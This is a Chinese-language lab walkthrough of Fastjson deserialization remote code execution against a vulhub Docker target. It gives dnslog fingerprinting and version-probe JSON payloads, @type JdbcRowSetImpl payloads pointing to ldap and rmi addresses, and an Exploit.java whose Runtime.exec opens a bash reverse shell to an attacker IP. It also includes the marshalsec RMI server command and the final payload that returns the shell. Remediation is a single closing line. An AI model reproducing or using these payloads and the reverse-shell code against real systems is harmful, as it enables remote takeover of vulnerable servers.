一、Fastjson漏洞介紹
java處理JSON數據有三個比較流行的類庫,gson(google維護)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一個開源的json相關的java library,地址在這里,https://github.com/alibaba/fastjson,Fastjson可以將java的對象轉換成json的形式,也可以用來將json轉換成java對象,效率較高,被廣泛的用在web服務以及android上,它的JSONString()方法可以將java的對象轉換成json格式,同樣通過parseObject方法可以將json數據轉換成java的對象。
二、fastjson漏洞影響版本
- fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化遠程命令執行漏洞
- fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化遠程命令執行漏洞
- fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化遠程命令執行漏洞
- fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化遠程命令執行漏洞
- fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化遠程命令執行漏洞
- fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化遠程命令執行漏洞
- fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化遠程命令執行漏洞
- fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化遠程命令執行漏洞
三、Fastjson指紋特征
1、根據返回包判斷:
任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現fastjson字樣。當然這個可以屏蔽,如果屏蔽使用其它辦法。
2、利用dnslog盲打:
構造以下payload(content-type字段為application/json),利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}(不同版本,payload不同。推薦這種方式)
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ntel8h.dnslog.cn/test", "autoCommit":true } }
探測版本payload(根據回顯判斷):
[{"a":"a\x] {"@type":"java.lang.AutoCloseable" a
1.2.47版本payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://dnslog/", "autoCommit": true } }
1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} # 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
二、環境搭建
靶機:192.168.110.133
攻擊機:192.168.0.2
准備工具:https://github.com/mbechler/marshalsec.git
采用的vulhub上的環境,切入到1.2.47-rce
docker-compose up -d
訪問下:
三、漏洞復現
思路:
攻擊機搭建一個RMI服務,開啟一個web服務(目錄里面編譯Exploit.java)。
這里要注意使用的要求攻擊機的javac是1.8的低版本,低於1.8.0_191版本),所以我這里懶得在攻擊機上重新裝jdk1.8(本機是jdk 17),直接用的靶機上的jdk1.8搭建的rmi服務,並搭建了一個web服務。
反彈shell還是反彈到攻擊機。
漏洞探測:
根據抓包返回的數據嘗試更改json,發送數據為post方式,更改類型為json,這里可以看見已經更改成功了
我們再用DNSLog探測下看看
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ntel8h.dnslog.cn/test", "autoCommit":true } }
DNSLog也接受到了。
准備環境:
編譯一個Exploit.java
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.2/6666 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
用python開啟一個web服務:
python2 -m SimpleHTTPServer 6969
訪問看看:
再用marshalsec文件開啟一個rmi服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.133:6969/#Exploit" 6799
nc監聽下6666端口(我們exploit.java里面編寫的就是反彈shell到192.168.0.2的6666端口)
進行利用反彈shell看看:
{
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.110.133:6799/#Exploit", "autoCommit":true } }
可以看到shell反彈過來了:
四、漏洞修復
1、fastjson升級到 1.2.51 以上,並推薦關閉Autotype 詳細升級方法可參見漏洞修復措施